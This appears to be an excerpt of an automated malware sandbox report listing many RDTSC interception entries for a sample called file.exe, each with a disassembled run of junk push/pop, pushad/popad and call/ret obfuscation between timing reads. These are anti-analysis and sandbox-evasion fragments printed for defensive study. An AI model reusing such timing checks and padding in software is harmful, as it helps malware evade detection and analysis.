Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5CF0 second address: 9B5D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007F8044531C96h 0x0000000c popad 0x0000000d jmp 00007F8044531C9Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5D0A second address: 9B5D16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5D16 second address: 9B5D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5E7D second address: 9B5E83 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B62A1 second address: 9B62BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044531C9Ch 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B62BC second address: 9B62CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8044DEC45Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B65C3 second address: 9B65CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8044531C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B950E second address: 9B9512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9512 second address: 9B9518 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9518 second address: 9B952D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8044DEC460h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B952D second address: 9B9553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push ebx 0x0000000d jmp 00007F8044531CA1h 0x00000012 pop ebx 0x00000013 pop eax 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B95D2 second address: 9B95EE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8044DEC458h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8044DEC45Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B95EE second address: 9B95F8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8044531C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B96A7 second address: 9B96AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B975E second address: 9B9787 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F8044531C9Dh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8044531CA3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B993A second address: 9B994B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8044DEC45Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B994B second address: 9B994F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B994F second address: 9B995C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B995C second address: 9B9967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9967 second address: 9B996B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B996B second address: 9B999F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edx 0x0000000c push edi 0x0000000d jmp 00007F8044531CA4h 0x00000012 pop edi 0x00000013 pop edx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8044531C9Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B999F second address: 9B99A9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8044DEC45Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B99A9 second address: 9B99CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8044531CA4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B99CB second address: 9B99CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B99CF second address: 9B99D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1ABC second address: 9A1AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F8044DEC456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6E43 second address: 9D6E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6E4A second address: 9D6E64 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8044DEC458h 0x00000008 pushad 0x00000009 jmp 00007F8044DEC45Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7194 second address: 9D7198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D73FA second address: 9D7400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7875 second address: 9D789F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044531C9Ch 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8044531CA7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D789F second address: 9D78BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC469h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D78BC second address: 9D78C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D78C7 second address: 9D78CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D78CD second address: 9D78D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7B75 second address: 9D7B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F8044DEC456h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7B86 second address: 9D7BB7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edi 0x0000000a jc 00007F8044531C98h 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007F8044531CB3h 0x00000018 jmp 00007F8044531CA7h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7E3F second address: 9D7E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F8044DEC468h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7E5D second address: 9D7E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D020B second address: 9D0211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0211 second address: 9D0240 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F8044531CA3h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F8044531C9Ah 0x00000017 push eax 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0240 second address: 9D0248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0248 second address: 9D024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0CED second address: 9B0CF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8E89 second address: 9D8EBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044531C9Ch 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F8044531CAEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A83D9 second address: 9A83FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC465h 0x00000007 jnl 00007F8044DEC456h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A83FC second address: 9A8412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044531CA2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8412 second address: 9A8416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3FF8 second address: 9E3FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E359C second address: 9E35A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E35A7 second address: 9E35AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E35AB second address: 9E35C6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8044DEC456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d je 00007F8044DEC456h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E35C6 second address: 9E35DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044531CA0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E35DA second address: 9E35E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E35E0 second address: 9E35EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8044531C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E35EC second address: 9E35F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E35F0 second address: 9E360D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8044531CA5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3E99 second address: 9E3EAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007F8044DEC456h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7342 second address: 9E7346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7346 second address: 9E734C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7B4A second address: 9E7B4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7B4F second address: 9E7BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044DEC45Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jp 00007F8044DEC461h 0x00000013 xchg eax, ebx 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F8044DEC458h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e nop 0x0000002f pushad 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7D29 second address: 9E7D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7D2D second address: 9E7D37 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8044DEC456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7D37 second address: 9E7D74 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8044531CADh 0x00000008 jmp 00007F8044531CA7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8044531CA8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7EBB second address: 9E7EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7EBF second address: 9E7EC5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8091 second address: 9E80A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC45Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8FFE second address: 9E9008 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8044531C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9F7B second address: 9E9F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8044DEC456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9F85 second address: 9E9FF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, dword ptr [ebp+122D2896h] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F8044531C98h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F8044531C98h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 jg 00007F8044531C9Ch 0x0000004d xchg eax, ebx 0x0000004e push esi 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F8044531C9Fh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9FF7 second address: 9E9FFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9FFB second address: 9EA014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jne 00007F8044531C96h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F8044531C96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA9DD second address: 9EA9F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c jbe 00007F8044DEC45Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC05A second address: 9EC05E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECAAD second address: 9ECAB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED563 second address: 9ED568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EBDF4 second address: 9EBE10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8044DEC468h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F2743 second address: 9F2747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F2747 second address: 9F274E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4851 second address: 9F4855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4855 second address: 9F48D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8044DEC45Dh 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F8044DEC45Fh 0x00000012 nop 0x00000013 jng 00007F8044DEC458h 0x00000019 mov bh, ch 0x0000001b mov bx, ax 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F8044DEC458h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a jmp 00007F8044DEC45Bh 0x0000003f push 00000000h 0x00000041 sub bx, 09EDh 0x00000046 xchg eax, esi 0x00000047 jmp 00007F8044DEC462h 0x0000004c push eax 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 push edi 0x00000051 pop edi 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F58B2 second address: 9F58B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1A16 second address: 9F1A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F69E5 second address: 9F69E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F28DF second address: 9F28E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3AAA second address: 9F3AB4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8044531C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5AC7 second address: 9F5AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F8044DEC462h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F69E9 second address: 9F6A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F8044531C98h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 adc di, 60C3h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F8044531C98h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000017h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 push 00000000h 0x00000045 mov edi, 7FDB0767h 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c push eax 0x0000004d je 00007F8044531C96h 0x00000053 pop eax 0x00000054 pushad 0x00000055 jmp 00007F8044531CA3h 0x0000005a pushad 0x0000005b popad 0x0000005c popad 0x0000005d popad 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F8044531C9Dh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F28E3 second address: 9F28F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F8044DEC458h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
